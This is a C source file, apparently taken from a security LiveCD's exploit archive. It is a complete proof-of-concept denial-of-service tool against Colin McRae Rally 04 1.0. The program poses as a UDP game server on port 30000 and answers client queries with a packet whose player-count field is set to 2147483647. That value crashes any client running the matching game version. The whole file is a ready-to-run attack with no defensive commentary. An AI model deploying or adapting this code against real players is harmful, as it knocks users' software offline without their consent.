home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / collinmcrae / cmr4cdos.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  163 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. UNIX & WIN VERSION
  6. */
  7.  
  8.  
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12.  
  13. #ifdef WIN32
  14.     #include <winsock.h>
  15.     #include "winerr.h"
  16.  
  17.     #define close   closesocket
  18. #else
  19.     #include <unistd.h>
  20.     #include <sys/socket.h>
  21.     #include <sys/types.h>
  22.     #include <arpa/inet.h>
  23.     #include <netdb.h>
  24. #endif
  25.  
  26.  
  27.  
  28.  
  29. #define VER         "0.1"
  30. #define BUFFSZ      2048
  31. #define PORT        30000
  32. #define PLAYBUG     "2147483647"        /* THE BUG IS HERE! */
  33. #define PING        "\x05\x00\x00\x00\x00\x00"
  34. #define GAMEVER     "1.0"               /* Retail game */
  35. //#define GAMEVER     "Lan Demo 1.0"    /* demo game */
  36.  
  37.  
  38.  
  39. void std_err(void);
  40.  
  41.  
  42.  
  43. int main(int argc, char *argv[]) {
  44.     int     sd,
  45.             len,
  46.             on = 1,
  47.             psz;
  48.     struct  sockaddr_in peer;
  49.     u_char  *buff,
  50.             *pck,
  51.             pcklan[] =
  52.                 "\x00\x00\x00\x00\x00"
  53.                 "hostname\0"    "You crash\0"
  54.                 "gamever\0"     GAMEVER"\0"
  55.                 "hostport\0"    "30000\0"
  56.                 "password\0"    "0\0"
  57.                 "gametype\0"    "Stages, ESP P1\0"
  58.                 "gamemode\0"    "openwaiting\0"
  59.                 "numplayers\0"  PLAYBUG"\0"
  60.                 "maxplayers\0"  "4\0"
  61.                 "rally\0"       "0\0"
  62.                 "stages\0"      "100\0"
  63.                 "damage\0"      "0\0"
  64.                 "ranking\0"     "0\0"
  65.                 "cartype\0"     "0\0",
  66.             pckinternet[] =
  67.                 "\x00\x00\x00\x00\x00"
  68.                 "You crash\0"
  69.                 GAMEVER"\0"
  70.                 "0\0"
  71.                 "Stages, ESP P1\0"
  72.                 "openwaiting\0"
  73.                 PLAYBUG"\0"
  74.                 "4\0";
  75.  
  76.  
  77.     setbuf(stdout, NULL);
  78.  
  79.     fputs("\n"
  80.         "Colin McRae Rally 04 1.0 broadcast client crash "VER"\n"
  81.         "by Luigi Auriemma\n"
  82.         "e-mail: aluigi@altervista.org\n"
  83.         "web:    http://aluigi.altervista.org\n"
  84.         "\n", stdout);
  85.  
  86. #ifdef WIN32
  87.     WSADATA    wsadata;
  88.     WSAStartup(MAKEWORD(1,0), &wsadata);
  89. #endif
  90.  
  91.     peer.sin_addr.s_addr = INADDR_ANY;
  92.     peer.sin_port        = htons(PORT);
  93.     peer.sin_family      = AF_INET;
  94.     psz                  = sizeof(peer);
  95.  
  96.     printf("\n"
  97.         "The game version that will be used is \"%s\"\n"
  98.         "  Only the clients with the same version you use here will be vulnerable,\n"
  99.         "  modify the source code (GAMEVER) to change this version\n"
  100.         "\n"
  101.         "Binding UDP port %u\n",
  102.         GAMEVER, PORT);
  103.  
  104.     sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  105.     if(sd < 0) std_err();
  106.  
  107.     if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
  108.       < 0) std_err();
  109.     if(bind(sd, (struct sockaddr *)&peer, psz)
  110.       < 0) std_err();
  111.  
  112.     buff = malloc(BUFFSZ);
  113.     if(!buff) std_err();
  114.  
  115.     fputs("\nClients:\n", stdout);
  116.     while(1) {
  117.         len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
  118.         if(len < 0) std_err();
  119.  
  120.         if(buff[2]) {
  121.             printf("PING       %s:%hu\n",
  122.                 inet_ntoa(peer.sin_addr), htons(peer.sin_port));
  123.  
  124.             if(sendto(sd, PING, sizeof(PING) - 1, 0, (struct sockaddr *)&peer, psz)
  125.               < 0) std_err();
  126.             continue;
  127.         }
  128.  
  129.         if(len == 10) {
  130.             fputs("LAN        ", stdout);
  131.             pck = pcklan;
  132.             len = sizeof(pcklan) - 1;
  133.         } else {
  134.             fputs("INTERNET   ", stdout);
  135.             pck = pckinternet;
  136.             len = sizeof(pckinternet) - 1;
  137.         }
  138.  
  139.         printf("%s:%hu\n",
  140.             inet_ntoa(peer.sin_addr), htons(peer.sin_port));
  141.  
  142.         memcpy(pck, buff + 2, 5);
  143.         if(sendto(sd, pck, len, 0, (struct sockaddr *)&peer, psz)
  144.           < 0) std_err();
  145.     }
  146.  
  147.     close(sd);
  148.     return(0);
  149. }
  150.  
  151.  
  152.  
  153.  
  154.  
  155. #ifndef WIN32
  156.     void std_err(void) {
  157.         perror("\nError");
  158.         exit(1);
  159.     }
  160. #endif
  161.  
  162.  
  163.